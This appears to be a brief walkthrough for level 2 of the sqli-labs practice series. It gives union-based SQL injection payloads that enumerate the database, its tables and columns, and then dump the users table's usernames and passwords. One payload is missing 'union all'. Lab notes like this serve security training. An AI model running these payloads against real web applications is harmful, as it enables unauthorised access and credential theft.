SQLI DUMB SERIES-2思路
?id=-1 union all select 1,database(),3 from users --+
?id=-1 select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+ table_name:emails,referers,uagents,users
?id=-1 union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’–+ column_name:id,username,password
?id=-1 union all select 1,group_concat(username),group_concat(password) from security.users --+